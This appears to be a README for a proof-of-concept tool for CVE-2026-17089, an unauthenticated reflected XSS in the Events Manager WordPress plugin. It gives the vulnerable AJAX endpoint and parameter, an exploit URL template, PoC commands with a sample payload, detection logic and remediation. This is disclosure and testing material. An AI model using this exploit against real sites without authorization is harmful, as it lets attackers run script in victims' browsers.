CVE-2026-17089 — Events Manager <= 7.4.0.1 — Unauthenticated reflected XSS (header_format)

Author: pwnVader · License: MIT (repository root)

Component	Events Manager – Calendar, Bookings, Tickets, and more! (WordPress plugin)
Type	CWE-79 — Reflected Cross-Site Scripting
Affected	<= 7.4.0.1
Fixed	later 7.4.x release (wp_kses_post() applied in EM_Events::output_grouped())
CVE	CVE-2026-17089 — CVSS 3.1 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
PoC	poc.sh

Summary

The shortcode entry point sanitizes header_format with wp_kses(), but the unauthenticated AJAX action search_events_grouped bypasses that sanitization and echoes the value into the HTML response (EM_Events::output_grouped()). A remote, unauthenticated attacker can craft a URL that executes arbitrary JavaScript in the origin of the affected site for any user who opens it (UI:R).

Usage

# Interactive menu
./poc.sh

# Read-only: fingerprint the plugin and test the unescaped reflection
./poc.sh check --target https://example.com

# Print the exploit URL (open it in a browser; the script runs in the target origin)
./poc.sh url --target https://example.com --payload "alert(document.domain)"

Example output (check)

== CVE-2026-17089 PoC (check) ==
target: https://example.com

[1] Plugin fingerprint (read-only)
  [PASS] Events Manager assets are served (plugin installed)
  [info] Stable tag: 7.1.7
  [PASS] version 7.1.7 is in the affected range (<= 7.4.0.1)

[2] Unauthenticated reflection test (read-only, benign marker)
  [PASS] endpoint reflected header_format UNESCAPED (the raw  is in the response)

== RESULT: 3 PASS / 0 FAIL ==
VULNERABLE to CVE-2026-17089 (unauthenticated reflected XSS).

Exploit URL

https://example.com/wp-admin/admin-ajax.php?action=search_events_grouped&scope=all&limit=5&header_format=<urlencoded payload>

Detection logic

1. Fingerprint: readme.txt (Stable tag) and/or the plugin asset path /wp-content/plugins/events-manager/includes/js/events-manager.js.
2. Send a benign marker (``) to admin-ajax.php?action=search_events_grouped with header_format set to the marker and check whether the raw markup is reflected unescaped in the response body.

Remediation

• Update Events Manager to the current release (the fix applies wp_kses_post() to header_format inside the rendering function, covering every caller).
• Interim: block the unauthenticated search_events_grouped AJAX action or filter header_format at the WAF/application level.

References

• NVD — CVE-2026-17089: https://nvd.nist.gov/vuln/detail/CVE-2026-17089
• GitHub Advisory: https://github.com/advisories/GHSA-gg76-jx66-hjq8

Disclaimer

For authorized security testing only. The PoC is read-only (check) or prints a URL (url); no data is modified.